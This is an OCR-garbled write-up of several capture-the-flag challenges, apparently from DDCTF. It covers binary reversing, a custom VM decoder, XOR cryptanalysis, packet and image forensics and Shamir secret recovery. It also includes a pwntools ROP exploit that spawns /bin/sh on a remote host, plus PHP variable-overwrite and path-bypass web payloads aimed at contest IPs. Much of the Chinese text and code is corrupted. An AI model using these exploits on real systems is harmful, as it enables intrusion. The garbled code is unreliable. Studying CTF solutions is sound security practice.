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unsigned int _ cdecl sub_401000(const char *al)

{

_BYTE *v1; // ecx

unsigned int v2; // edi
unsigned int result; // eax
int v4; // ebx

V2 = 0;

result = strlen(al);

if ( !result )
return result;

v4d = al - vi;

do

{
*vl = byte 402FF8[(char)vi[v4]];
++Vv2;
++vl;

result = strlen(al);

}

while ( v2 < result );
return result;
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.data:00403018 aZyxwvutsrgponm db '~}|{zyxwvutsrgponmlkjihgfedcba  _~]\[ZYXWVUTSRQPONMLKJIIHGFEDCBA@?>"
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table = '''~}|{zyxwvutsrgponmlkjihgfedcba~ ~]\[ZYXWVUTSRQPONMLKIIHGFEDCBA@?>=<; :9876543210/.-,+*) ('&%$#"! '
s = 'DDCTF{reverseME}"'

flag = "'
for c in s:

flag += chr(table.find(c) + 0x20)
print flag
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char __usercall sub_10611F@@<al>(const char *al@<esi>)
{

signed int v1; // eax

signed int v2; // edx

int v3; // ecx

char v4; // al

vl = strlen(al);
v2 = vl;
if (vl || vi%2==1)
return 0;
v3 = 0;
if (vi=10)
return 1;
while ( 1)
{
v4 = al[v3];
if ( (v4 < '@" || v4 > '9") && (v4 < 'A' || v4 > 'F') )
break;
if ( ++v3 >= v2 )
return 1;

}

return 0;
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int _ usercall sub_1061240@<eax>(const char *al@<esi>, int a2)
{
signed int v2; // edi
signed int v3; // edx
char v4; // bl
char v5; // al
char v6; // al
unsigned int v7; // ecx
char v9; // [esp+Bh] [ebp-405h]
char v10; // [esp+Ch] [ebp-404h]
char Dst; // [esp+Dh] [ebp-403h]

v2 = strlen(al);
v1o = 9;
memset (& st, O, Ox3FFu);
v3 = 0;
if (v2<=90)
return sub_1061000(v2 / 2, a2);
v4 = Vv9;
do
{
v5 = al[v3];
if ( (unsigned __int8)(al[v3] - '@') > 9u )
{
if ( (unsigned __int8)(v5 - 'A') <= 5u )
v = v5 - '7";
}
else
{
v9 = al[v3] - '@';
}
v6 = al[v3 + 1];
if ( (unsigned __int8)(al[v3 + 1] - '@') > 9u )
{
if ( (unsigned __int8)(v6 - 'A') <= 5u )
vd = v6 - '7";

¥
else
{
v4 = al[v3 + 1] - '@’';
}
v7 = (unsigned int)v3 >> 1;
V3 += 2;
*(&v10 + v7) = v4 | 16 * v9;

}
while ( v3 < v2 );

return sub_1061000(v2 / 2, a2);
}
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vi5[@] = Dst[@] >> 2;

v15[1] = (Dst[1] >> 4) + 16 * (Dst[0] & 3);
v15[2] = (Dst[2] >> 6) + 4 * (Dst[1] & OxF);
v15[3] = Dst[2] & ©Ox3F;

i=09;

do

std::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&v17,
(unsigned __int8)(byte_1063020[ (unsigned __ int8)v15[i++]] ~ 0x76));

while (i < 4 );
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bool _ fastcall run(vm_struc *al)

{
bool result; // al
bool count; // [rsp+Fh] [rbp-11h]
signed int i; // [rsp+106h] [rbp-106h]
signed int k; // [rsp+14h] [rbp-Ch]

k = 0;
i=0;
while ( 1)
{
count = 9;
if (k)
count = i < 9;
result = count;
if ( !count )
break;
if ( *(unsigned __int8 *)al->pc == *((unsigned __int8 *)&al->code_FO + 16 * i) )
{
k = 1;
(*((void (__fastcall **)(vm_struc *))&al->mov_reg imm + 2 * i))(al);
}
else
{
++i;
}
}

return result;

}
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__inte4 _ fastcall init_vm(vm_struc *al, char *input)

{
al->regd = 9;
al->regl = 9;
al->reg2 = 9;
al->reg3 = 0;
al->flag = ©;
al->buffer = 0;
LOBYTE(al->code_F@) = -16;
al->mov_reg_imm = (__int64)mov_reg_imm;
LOBYTE(al->code_F1) = -15;
al->xor_regd _regl = (__int64)xor_regd_rego;
LOBYTE(al->code_F2) = -14;
al->cmp_regd_imm = (__int64)cmp_regd_imm;
LOBYTE(al->code_F4) = -12;
al->add_regd regl = (__int64)add_reg@_regl;
LOBYTE(al->code_F5) = -11;
al->sub_regd regl = (__int64)sub_reg@_regl;
LOBYTE(al->code_F3) = -13;
al->nop = (__int64)nop;
LOBYTE(al->code_F6) = -10;
al->jz_imm = (__int64)jz_imm;
LOBYTE(al->code_F7) = -9;
al->mov_buf_imm = (__int64)mov_buf_imm;
LOBYTE(al->code_F8) = -8;
al->enc_regd 2 = (__int64)enc_rego_2;
buffer = (char *)malloc(©x400uLL);
return __memcpy_chk((__int64)(buffer + 48), (__int64)input, 18LL, -1LL);
}
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code = [OxFO, Ox10, Ox66, Ox00, Ox00, Ox00, OxF8, OxF2, Ox30, OxF6, OxCl, OxFO, Ox10, Ox63, 0x00, 0x00,
0x00, OxF8, OxF2, Ox31, OxF6, OxB6, OxFO, Ox10, Ox6A, Ox00, Ox00, Ox00, OxF8, OxF2, Ox32, OXF6,
OxAB, OxFO, Ox10, Ox6A, Ox00, Ox00, Ox00, OxF8, OxF2, Ox33, OxF6, OxAQ, OxFO, Ox10, Ox6D, 0x00,
0x00, Ox00, OxF8, OxF2, Ox34, OxF6, Ox95, OxFO, Ox10, Ox57, Ox00, Ox00, 0x00, OXF8, OxF2, Ox35,
OXF6, Ox8A, OXFO, Ox10, Ox6D, Ox00, Ox00, Ox00, OxF8, OxF2, Ox36, OxF6, Ox7F, OxFO, 0x10, OX73,
0x00, Ox00, Ox00, OxF8, OxF2, Ox37, OxF6, Ox74, OxFO, Ox10, Ox45, Ox00, 0x00, Ox00, OxF8, OXF2,
0x38, OxF6, Ox69, OxFO, Ox10, Ox6D, Ox00, Ox00, Ox00, OxF8, OxF2, Ox39, OxF6, OXSE, OxFO, 0x10,
Ox72, Ox00, Ox00, Ox00, OxF8, OxF2, Ox3A, OxF6, Ox53, OxFO, Ox10, Ox52, 0x00, Ox00, Ox00, OXFS,
OxF2, Ox3B, OxF6, Ox48, OxFO, Ox10, Ox66, Ox00, Ox00, 0x00, OXF8, OxF2, Ox3C, OxF6, Ox3D, OXFO,
0x10, Ox63, Ox00, Ox00, Ox00, OxF8, OxF2, Ox3D, OxF6, Ox32, OxFO, Ox10, Ox44, Ox00, Ox00, 0x00,
OXF8, OxF2, Ox3E, OxF6, Ox27, OxFO, Ox10, Ox6A, Ox00, Ox00, 0x00, OxF8, OxF2, Ox3F, OxF6, Ox1C,
OxFO, Ox10, Ox79, Ox00, Ox00, 0x00, OxF8, OxF2, Ox40, OxF6, Ox1l, OxFO, Ox10, Ox65, Ox00, Ox00,
0x00, OxF8, OxF2, Ox41l, OxF6, Ox06, OxF7, Ox01, Ox00, Ox00, Ox00, OxF3, OXF7, Ox00, Ox00, Ox00,
0x00, OxF3, Ox5D, OxC3, OxOF, Ox1F, Ox84, 0x00, 0x00, 0x00, Ox00, 0x00]

table = {OxF0:(6, 'mov_reg_imm'), OxF1l:(2, 'xor_reg@ _regl'), OxF2:(2, 'cmp_regd _imm'), OxF4:(2, 'add_rego_r
OxF5:(2, 'sub_reg@ regl'), OxF3:(1, 'ret'), OxF6:(2, 'jz_imm'), OxF7:(5, 'mov_buf_imm
OxF8:(1, 'enc_rego_2')}

pc = ©
while pc < len(code):
c = code[pc]
print hex(pc), '\t',
if ¢ not in table.keys():
print 'nop'
pc += 1
continue
print table[c][1],
if table[c][0@] == 1:
pc += 1
elif table[c][0@] == 2:
if table[c][1] == 'jz_imm':
print hex(pc + code[pc+1]),
else:
print hex(code[pc+1]),
pc += 2
elif table[c][@] == 3:
print hex(code[pc+1]), hex(code[pc+2]),
pc += 3
elif table[c][@] == 5:
print code[pc+1],
pc += 5
elif table[c][@] == 6:
print 'eax', hex(code[pc+2]),
pc += 6

print
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ox0 mov_reg_imm regd 0x66
ox6 enc_rego_2

ox7 cmp_regd_imm 0x30

ox9 jz_imm Oxca

oxb mov_reg_imm reg® 0x63

ox11 enc_rego_2
ox12 cmp_regd_imm 0x31
ox14 jz_imm Oxca



ox16
Ox1lc
ox1d
ox1f
ox21
ox27
0x28
Ox2a
ox2c
0x32
0x33
0x35
ox37
ox3d
ox3e
0x40
0x42
0x48
0x49
ox4b
ox4ad
ox53
ox54
0x56
ox58
ox5e
ox5f
ox61
0x63
0x69
Ox6a
0x6¢C
ox6e
0x74
0x75
0x77
0x79
ox7f
ox80
0x82
o0x84
0x8a
ox8b
ox8d
ox8f
0x95
0x96
0x98
©x9a
0xao
oxal
Oxa3
Oxa5
@xab
oxac
Oxae
oxbo
oxb6
oxb7

nvha

mov_reg_imm reg® Ox6a
enc_rego_2
cmp_regd_imm 0x32
jz_imm ©Oxca
mov_reg_imm reg@ Ox6a
enc_regod_2
cmp_regd_imm Ox33
jz_imm ©Oxca
mov_reg_imm reg@ Ox6d
enc_regod_2
cmp_regd_imm 0x34
jz_imm ©Oxca
mov_reg_imm reg@ Ox57
enc_regod_2
cmp_regd_imm Ox35
jz_imm ©xca
mov_reg_imm reg@ Ox6d
enc_rego_2
cmp_regd_imm 0x36
jz_imm Oxca
mov_reg_imm reg@ 0x73
enc_rego_2
cmp_regd_imm 0x37
jz_imm Oxca
mov_reg_imm reg@ Ox45
enc_rego_2
cmp_regd_imm 0x38
jz_imm ©Oxca
mov_reg_imm regd Ox6d
enc_rego_2
cmp_regd_imm 0x39
jz_imm ©Oxca
mov_reg_imm regd Ox72
enc_rego_2
cmp_regd_imm ©x3a
jz_imm ©Oxca
mov_reg_imm reg® ©x52
enc_rego_2
cmp_regd_imm ©x3b
jz_imm ©Oxca
mov_reg_imm regd Ox66
enc_rego_2
cmp_regd_imm ©x3c
jz_imm ©Oxca
mov_reg_imm regd Ox63
enc_rego_2
cmp_reg@_imm ©x3d
jz_imm Oxca
mov_reg_imm reg@ 0x44
enc_rego_2
cmp_regd_imm 0x3e
jz_imm Oxca
mov_reg_imm regd Ox6a
enc_rego_2
cmp_regd_imm Ox3f
jz_imm Oxca
mov_reg_imm reg@ 0x79
enc_rego_2
cmp_regd_imm 0x40
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oxbb mov_reg_imm reg® Ox65
oxcl enc_rego_2

oxc2 cmp_regd_imm 0x41

oxc4 jz_imm Oxca
oxc6 mov_buf_imm 1
oxcb ret

oxcc mov_buf_imm ©
oxd1l ret
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#AT IIEHABATR26 A T, 25T LERAE
flag = [0x66, Ox63, Ox6a, Ox6a, Ox6d, Ox57, Ox6d, Ox73, Ox45, Ox6d, Ox72, Ox52, Ox66, Ox63, Ox44, Ox6a, OX7

flag = ''.join([chr(c+2) for c in flag])
print flag

#1453 helloYouGotTheFl{g
#' {2 KT, PRl {" & Achr(ord('{") - 26)
#ix 414 FhelloYouGotTheFlag

jé'/fjié:l% H jé'/th:To o o
obfuscating macros

BANZELFSCPE, IDAFTIT—& LA LR IR i iRVE , A DR, 20— R BO M N EAT AR 4, 5
et checks W1 IXAMREE H% 0, ERAEEERIRENEL T, BEIILTFRAT . XIRIEEA
K P E AT 0, ACRABSERE Ttracell, (Hmiasmi U ATI e 7. o R 7 4F T, &
UF AR R 2 X LE DT AN E S, HAHSSE, R A X b7 5 =AM A A E TSR, JFRILA
BRI iZ s 2 EARZ .

FEIE NG — DR HSZ AR RIRE 1, SREACRS AR RE R IR, HRUC B AR5 BRERAAT AL RT LUK
P AR A A BNk B A o MAUE R R, T2 U T .

B RBOREARERG, IR CFGHLIE, 15—k, A EirE.

g Graph overview O & x

BEAE R — T AtRER BRI AR, IRJE 2 ST B P A 22 A S sy N W, FRxt R AR AT 2o
LAY s A (05 SR, B2 X B A AL s G i P A AC B A A A3 5 R e, P iXAR AR A S, sk
WA UM ELE T . SRR AT AT B RE R — AR



.text :0000000000405FA3 loc_405FA3:

.text :0000000000405FA3 mov rax, [rbp+input]
.text:0000000000405FAA lea rdx, [rax+1]
.text:0000000000405FAE mov [rbp+input], rdx ; next char
.text :0000000000405FB5 movzx  edx, byte ptr [rax]
.text:0000000000405FB8 mov rax, [rbp+buffero]
.text :0000000000405FBF movzx  eax, byte ptr [rax]
.text:0000000000405FC2 mov ecx, eax
.text:0000000000405FC4 mov eax, edx
.text:0000000000405FC6 sub ecx, eax
.text:0000000000405FC8 mov eax, ecx
.text:0000000000405FCA mov edx, eax
.text:0000000000405FCC mov rax, [rbp+buffere]
.text:0000000000405FD3 mov [rax], dl
.text:0000000000405FD5 mov rax, [rbp+var_280]
.text:0000000000405FDC test rax, rax
.text:0000000000405FDF jnz short loc_4@5FEC
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.text:0000000000406363 loc_406363:

.text : 00000406363 mov [rbp+var_170], ©A9h
.text:000000000040636E mov rax, [rbp+buffere]
.text:0000000000406375 movzx eax, byte ptr [rax]
.text:0000000000406378 test al, al
.text:000000000040637A jz short loc_406
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The most probable key lengths:

11.9%

19.7%

: 9.3%
12: 14.5%
15: 7.1%
18: 11.2%
21: 5.4%
24: 8.4%
30: 6.8%
36: 5.7%

Key-length can be 3*n
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xortool [-x] [-1 LEN] [-c CHAR | -b | -0] [-f] [-t CHARSET] [FILE]

Horf-cJa TR 12 B SO MBI R e i R4, BRBIDE, W IRIRATT, XAFiF ke, TRBMILHTAE KA
T e, A RACA LS, )R AR, RANTRAEARER TR, W TR AR, 2K ER
IRFE6

$ xortool -x -1 6 -c ' ' hex.txt
2 possible key(s) of length 6:
\x@b\rz4\xaa\x12

N\rz4\xaa\x12

Found 2 plaintexts with 95.0%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War Il to read substantial amounts of
Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded
military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the
codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been
"decisive" to the Allied victory.

The Enigma machines were a family of portable cipher machines with rotor scramblers. Good operating procedures,
properly enforced, would have made the plugboard Enigma machine unbreakable. However, most of the German military
forces, secret services and civilian agencies that used Enigma employed poor operating procedures, and it was these
poor procedures that allowed the Enigma machines to be reverse-engineered and the ciphers to be read.

The German plugboard-equipped Enigma became Nazi Germany's principal crypto-system. It was broken by the Polish
General Staff's Cipher Bureau in December 1932, with the aid of French-supplied inteligence material obtained from a
German spy. A month before the outbreak of World War II, at a conference held near Warsaw, the Polish Cipher Bureau
shared its Enigma-breaking techniques and technology with the French and British. During the German invasion of Poland,
core Polish Cipher Bureau personnel were evacuated, via Romania, to France where they established the PC Bruno
signals intelligence station with French facilities support. Successful cooperation among the Poles, the French, and the
British at Bletchley Park continued until June 1940, when France surrendered to the Germans.

From this beginning, the British Government Code and Cypher School (GC&CS) at Bletchley Park built up an extensive
cryptanalytic capability. Initially, the decryption was mainly of Luftwaffe (German air force) and a few Heer (German army)
messages, as the Kriegsmarine (German navy) employed much more secure procedures for using Enigma. Alan Turing, a
Cambridge University mathematician and logician, provided much of the original thinking that led to the design of the
cryptanalytical bombe machines that were instrumental in eventually breaking the naval Enigma. However, the
Kriegsmarine introduced an Enigma version with a fourth rotor for its U-boats, resulting in a prolonged period when these
messages could not be decrypted. With the capture of relevant cipher keys and the use of much faster US Navy bombes,

regular, rapid reading of U-boat messages resumed.

The flag is: DDCTF{07b1b46d1db28843d1fd76889fea9b36}
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int _ cdecl sub_80485DB(FILE *stdin_, FILE *stdout_)

{

int v2; // eax
char buf; // [esp+@h] [ebp-48h]

printf("Enter username:
= fileno(stdin_);

read(v2, &buf, 0x40u);
return fprintf(stdout_, "Hello %s", &buf);

")s

FA TN BB AR 164k, Wil iread 5 3 ZH I .

AR

int input_num()

{

int vO@; // eax

= fileno(stdin);

read(ve, nptr, 0xleu);

return atoi(nptr);

M T X nptriEbss By, it S A R 1 ). IR et T ia — M S T

read(vl, &buf, nbytes); //nbytess&4 — AN A KM NAE

1B 3 BB IR H T nbytesffy K /N 2/ 163

.text:080486CB
.text:080486CF

cmp
jle

[ebp+nbytes], 3Fh
short loc_8048

BT KERZR, XA B GEREAE T, HXEATH-1k%E, B hjleff
Ox3F, T2 Jrireaded # ffinbytesl 2 s il e o AT 58, KEMRK 1. SERNMF S LR B0k

.text:08048669
.text:0804866D
.text:08048670
.text:08048673
.text:08048674
.text:08048676
.text:08048677
.text:08048678
.text:0804873A
.text:0804873D
.text:0804873E
.text:0804873F
.text:08048740
.text:08048743

lea
and
push
push
mov
push
push
sub

lea
pop
pop
pop
lea
retn

ecx,

esp,

[esp+4]
@FFFFFFFoh

dword ptr [ecx-4]

ebp
ebp,
ebx
ecx
esp,

esp,
ecx
ebx
ebp
esp,

esp

56h

[ebp-8]

[ecx-4]

Vzani=)

55 UL,

FrCh-1—3E /N1



A LAE Bl T dfipush ecx{ffFesp+4, ik )5lea esp,[ecx-4] M) & H #4535 [l Hudik,  FT LAFRATTE X BN %78 o5
ecx, fFHAR IR ZE bR RE B FrE il . X Bl T A B s R A R Bk, FrCAFRAT T shellcode
NZ5E RN IX b, IR JE Bk B2 XA PAT, X TR ERMR RN AT . BT ULIE 5 — MR TR \W004%
BT ELAS, Xk v AR Rtk bk, 2 sREUR 451

pwndbg> stack
00:0000| esp Oxffffcda@ «— Ox@

01:0004 | oxffffcdad —» Oxffffcdbe «— ©x306b3034 ('40k0')
02:0008 | oxffffcdas8 « 0x40 /* '@' */

03:000cC | exffffcdac <« @x0

04:0010| ecx Oxffffcdbe «— Ox306b3034 ('40ke') //input

05:0014| oxffffcdb4d —» 0Ox804820a «— add byte ptr [eax], al
06:0018 | exffffcdbs8 «— @xc2

07:001c| exffffcdbc <« 8x0

pwndbg>

08:0020| oxffffcdco — Oxf7fdf409 (do_lookup_x+9) <«— add ebx, ox1dbf7
09:0024|  Oxffffcdc4 —» Oxf7de3318 «— inc ebx /* 'C," */

0a:0028| oxffffcdc8 — Oxf7e3el5b (setbuffer+ll) <«— add edi, oxl6feab
@b:002c|  Oxffffcdcc «— Ox@

0c:0030| Oxffffcdde —» Oxf7fac@0@ (_GLOBAL_OFFSET_TABLE_) <« @x1d7déc
0d:0034| Oxffffcdd4 «— 0x@

0e:0038|  Oxffffcdd8 —» Oxffffce68 «— Ox@ //iXH flebpii

0f:003c| oxffffcddc — Oxf7e44785 (setbuf+2l) «— add esp, oOxlc

pwndbg>

10:0048 | oxffffcde® — Oxf7faed80 (_IO 2 1 stdout ) <«— Oxfbad2887
11:0044 | oxffffcded <« 0x0

12:0048| oxffffcde8 «— 0x2000

13:004c| oxffffcdec — Oxf7e44770 (setbuf) «— sub esp, 0x10
14:0050 | oxffffcdfo — Oxf7faed8® (_IO 2 1 stdout ) «— @xfbad2887
15:0054| oxffffcdf4 — Oxf7ffd940 «— 0Ox0

16:0058| ebp Oxffffcdf8 —» Oxffffce68 «— Ox0

17:005¢ | oxffffcdfc —» 0©x80486a3 <«— add esp, 0x10

A LUE 23X Hinput{Eesp+0x104t, Tfjesp+0x384t iI1E SebpffE & A,  RIFRA14E1%0x28 75 ity i s B vl 15
Flmainp& £ 1 ebpHihl, X R A bk . FRATTH 1E ebp-0xdc+444 J5 7 &5 Bl push ecxdIl > 7 5k BE 5D
FEPEHIR T o

shellcode firopst i, BT EHIEFENLAL T, 843 e MR — AN 2 17 s Bt bk A Tt S mcs, AR5 ,RAT
B A EENGOT R, Fsystem("/bin/sh")5 N, SRIGIZITZEKE, expll K-



from pwn import *
context.log level = "debug"

def get_shellcode(elf, libc, ebp):
pop_ebx = 0x8048411
pop_esi_edi_ebp = 0x80487A9

shellcode = flat(
elf.symbols[ 'puts'],
pop_ebx,
elf.got['puts'],
elf.symbols['read'], #got overried
pop_esi_edi_ebp,
9,
elf.got['sleep'],
oxc,
elf.symbols['sleep'], #system
0x90909090,
elf.got['sleep']+0x4, #/bin/sh
)

shellcode = shellcode.ljust(@x44, '\x90')
shellcode += p32(ebp-0x4c + Ox4)
return shellcode

def main():
elf = ELF("./xpwn")
libc = ELF("./libc.so.6")
sh = remote("116.85.48.105","5005")
#sh = process("./xpwn",env={"LD_PRELOAD':"'./libc.so0.6'})
#gdb.attach(sh)
sh.recvuntil(': ")
sh.send("a"*0x28)
sh.recvuntil("a"*0x28)
ebp = u32(sh.recv(numb=0x4))

sh.recvuntil(": ")
sh.sendline("-1")
sh.recvuntil(": ")

shellcode = get_shellcode(elf, libc, ebp)
sh.send(shellcode)

print sh.recvline() #recv '\n'
puts_addr = u32(sh.recv(numb=4))
system_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']
payload = p32(system_addr)
payload += "/bin/sh\x00"
sh.send(payload)
sh.interactive()
if _name__ == '_main__':

main()

Wireshark
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Ml vireshark peapng
MHE EERE) EEW BENe) AR s Rihg @y TEegn TRO EmH)

Adm 1 ® TRE Qe=sEF 8 = qa el
[ Thttz
Mo, Time Source Destinaticn Protscol  Length Infe
6.2290896 172.25.52.32 tools.jbs1.net.wswebpic. com HTTP 156 GET faideddesign/img_add_info HTTP/1.1
6.381156  tools. jh51.net . wswebpic.com 172.25.52.32 HTTR 561 HTTR/1.1 288 oK (text/html)
7.472361 172.35.52.32 t16b72. zandai.net HTTP 237 GET fstat?appid=1812&ver=2.4.1.13&peerid=00585¢
7.531293  t1ebsd.sandai.net 172.25.52.32 HTTP 260 HTTP/1.1 288 oK (text/plain)
17.223812 172,25.52.32 up.imgapi.com HTTP 449 OPTIONS [/ HTTP/1.1
17.264468 up.imgapi.com 172.25.52.32 HTTP 455 HTTP/1.1 288 0K (text/json)
17.579157 172.25.52.32 up. imgapi. com HTTP 1226 POST / HTTP/1.1  (PHG)
17.877203 up.imgapi.com 172.25.52.32 HTTP 656 HTTP/1.1 288 0K (json)
19. 853381 172.25.52.32 w1 etuku. com.w. kunluncan. com HITE #91 GET fddcHulb2 $147ba21 HTTR/1.1
19.165516 www. tietuku.com.w.kunluncan.com 172.25.52.32 HTTP 1151 HTTP/1.1 208 0K ({text/html}
19,243238 172.25.52.32 new., aocdn. com HTTP 545 GET [674874/7782abccd8206771s.png HITR/1.1
19.27917@ new.aacdn.com 172.25.52.32 HTTP 329 HTTR/1.1 384 Not Modified
19.293911 172.25.52.32 whitel . Tietuku . com.w. kunluncan. com HTTP 981 POST /?c=User&a=getmessnum HTTPA1.1
19. 396442 www. tietuku. comw. kunluncan.com  1/2.25.52.32 HTTP PAHTTPS 1.1 280 0¢  (text/html)
28.235362 172.25.52.32 whefel . Tietuku . codl.w. Kunluncan. com HTTP 891 GET fupload HTTP/1.1

X ZTEhttp://tools.jb51.net/aideddesign/img_add_infoix ANk b A T ok R, i AN WHE R AT LU R B
H5ELEM, HiilM [up.imgapi.com, RiZE b4 TE . AT EIPHbE, % EN172.25.52.32, AJEIEER

TCPyi, WLAR3sKE . e M2 b T —ikE A, K5 N T —ikE A, (BETCPRHILIKE] T —ikEH %
B

A lpngcheck— T

key.png CRC error in chunk IHDR (computed ddb7a5ee, expected 7bcOaeba)

ERROR: key.png

CRCHE T, XAEM — o B T ol B v #s, IRE S w8 3 s ol 0T & B sl ae s 2] —
~key.

key:57pmYyWt
LRI B, X NkeylRA AT BRI 7E AWk fife 25 B A5 B ikey,  EAE IS — 2 ATk
TECTOR, FrAIRATE T SRR K 3 jb5 1 b g

1. NEBRIRIE SR EISEISMIER: | SE3#E | 00000002.png

2. MABZERIHEENES (MELBEEOILINE) @ eeeeeeee

BRI

BRisRs=7: flag+AHs-
44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526AT470 +AHO-

Hhfa) j& Bt N sEGIEL, 3P 24 R A8 Blasciif

>>> '44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D" . decode('hex')
' DDCTF{QEWokcpHeUo2WOFBIN7pogIWsFO4iRjt}


http://tools.jb51.net/aideddesign/img_add_info

PRSP S

XA B U SR R A, (H IR IRA T AT B B A AR B, T AR AR R T RO B E . Shamir# £ 3t
FEEH A ond(kn)EK s, HAPnR ki s An > Shadow, k37~ 020 2 /b [ A k> Shadow 4 fE
fif 2 R R SC o T AR R R R 122 B 23 0l 3R H P N 4 2R ¥ Shadow, 28 J5 FRAR 3 5 /N 348 Ji B 52 o

— I RERI T —AMIF: http://www.wikiwand.com/en/Shamir%27s_Secret_Sharing

oA AR v PLE HAE N T ESRAER, X B R 7R EA ) Horh ffrecover_secrectefi £, ff 2 BIA T

import random
import functools

_PRIME = @xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBCO9EQODF6B935178281B64AF7D4E32D33153

def _extended_gcd(a, b):
X =0
last_x
y =1
last_y
while b != @:

quot = a // b
a, b = b, a%b
X, last_x = last_x - quot * x, x

U}
[y

]
(O]

y, last_y = last_y - quot * y, y
return last_x, last y

def _divmod(num, den, p):
inv, _ = _extended_gcd(den, p)
return num * inv

def _lagrange_interpolate(x, X_s, y_s, p):
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num

sum([_divmod(nums[i] * den * y s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
if len(shares) < 2:
raise ValueError("need at least two shares")
X_S, y_s = zip(*shares)

return _lagrange_interpolate(®, x_s, y_s, prime)

def main():


http://www.wikiwand.com/en/Shamir%2527s_Secret_Sharing

sharel = [
(1, ©0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8ASEB77B6680FEO8B4176D8DCFOBEBF50000B74A8
(2, 0x1B309C79979CBECCO8BD8AE40942AFFD17BBAFCAD3EEBA6BADD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8C
(4, Ox1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D8ODB725ABF6546BDO97

share2 = [
(3, 90x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9DOBE4D8DC29E77853F
(4, Ox1AAC52987C69C8A565BFOE426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0OC
(5, ©0x9288657962CCD9647AA6B5CO5937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC

1

numl = recover_secret(sharel)

num2 = recover_secret(share2)

shared® = [(1, numl), (2, num2)]

flag = recover_secret(shareo)

print hex(flag)[2:-1].decode( 'hex")

if _name__ == '__main__"':
main()

i~
HE 3 FURLS SO A IR, JAR— F X B fEH 2 Hibase64

>>> import base64

>>> s = '"TmpZM1F6WXhOamN5U1RaQk56QTJ0dz09"
>>> base64.b64decode(s)
"NjY2QzYxNjcyRTZBNzA2Nw=="

>>> s = '"NjY2QzYxNjcyRTZBNzA2Nw=="

>>> base64.b64decode(s)

'666C61672E6A7067 "

>>> '666C61672E6A7067 ' .decode( 'hex")

'flag.jpg’

a5 TTE 2 AERE, SRR B R B Dlbase64 (1 xUH BLAE I DTG . FRATTil— R REA RE 1L 2
index.php

>>> s = 'index.php'
>>> base64.b64encode(base64.b64encode(s.encode('hex')))
'TmprM1pUWTBOalUzTORKbES6QTIPRGN3 "

WEER T, IR base64



<?php

/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/

error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');

if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZM1F6WXhOamN5U1RaQk56QTI0dz09");

$file = hex2bin(base64_decode(base64_decode($_GET['jpg']1)));

echo '<title>'.$_GET['jpg'].'</title>"';

$file = preg_replace("/["a-zA-Z0-9.]+/","", $file);

echo $file.'</br>"';

$file = str_replace("config","!", $file);

echo $file.'</br>"';

$txt = base64_encode(file get contents($file));

echo "</img>";
/*

* Can you find the flag file?

*

*/

?>

JERg TR, HRER, BEIARMA MR, PRHeXRAE, BB FIFRUERE S R XE
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>>> base64.b64encode(base64.b64encode( ' flagconfigddctf.php'.encode( 'hex"')))
'TmpZek1UWXhOamMyTXpabU5tVTJ0alk1TmpjMk5EWTBOak@zTkRZMk1tVTNNRFkOTnpBPQ=="

R SR

<?php

include('config.php');

$k = 'hello';

extract($_GET);

if(isset($uid))

{
$content=trim(file_get_contents($k));
if($uid==%$content)

{
echo $flag;
}
else
{
echo'hello’;
}
}
?>

W DA EE S, PR S EAT T, &G URLS 2lflag

http://117.51.150.246/f1ag!ddctf.php?uid=&k=

We b2 51| it
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http://117.51.150.246/f1ag!ddctf.php?uid=&k=

* Created by PhpStorm.
* User: didi

* Date: 2019/1/13

* Time: 9:05 PM

Y

function auth() {
$.ajax({

type: "post",

url:"http://117.51.158.44/app/Auth.php”,

contentType: "application/json;charset=utf-8",

dataType: "json",

beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");

T

success: function (getdata) {
console.log(getdata);
if(getdata.data !== "'') {

document.getElementById( ' 'auth').innerHTML = getdata.data;

}

},error:function(error){
console.log(error);

1)

AJ DL 13X Bt post 7 LBk 21 5 —Aurl, I8 httpid sk Sk rh i didictf_usernamellitfii =, i laix A url

W, ERA SRR, ERIUBR 5 U ] --—

i — T 8§51 4admin, stk T

18 2470 24 AR 8 B 3 -1 Ui 1) :app/fL2XID2i0Cdh.php

SERBASE T, & T o)UY, AW K, RIE4 T HorflagrE. /configiflag.txtrh,  BPEATT I R
BEHOZ ST T, BeESCE R AR R T —>, 1 H A5 Congratulations

public function _ destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path), 'Congratulations"');

}
exit();



__destruct()=7EX GAESI B, e Ja RS R I T — AN RFP LA

$session = unserialize($session);

A Sy SRR . RFE R — B

$session = $_COOKIE[$this->cookie_name];
if(lisset($session)) {

parent::response("session not found", 'error');
return FALSE;

}

$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
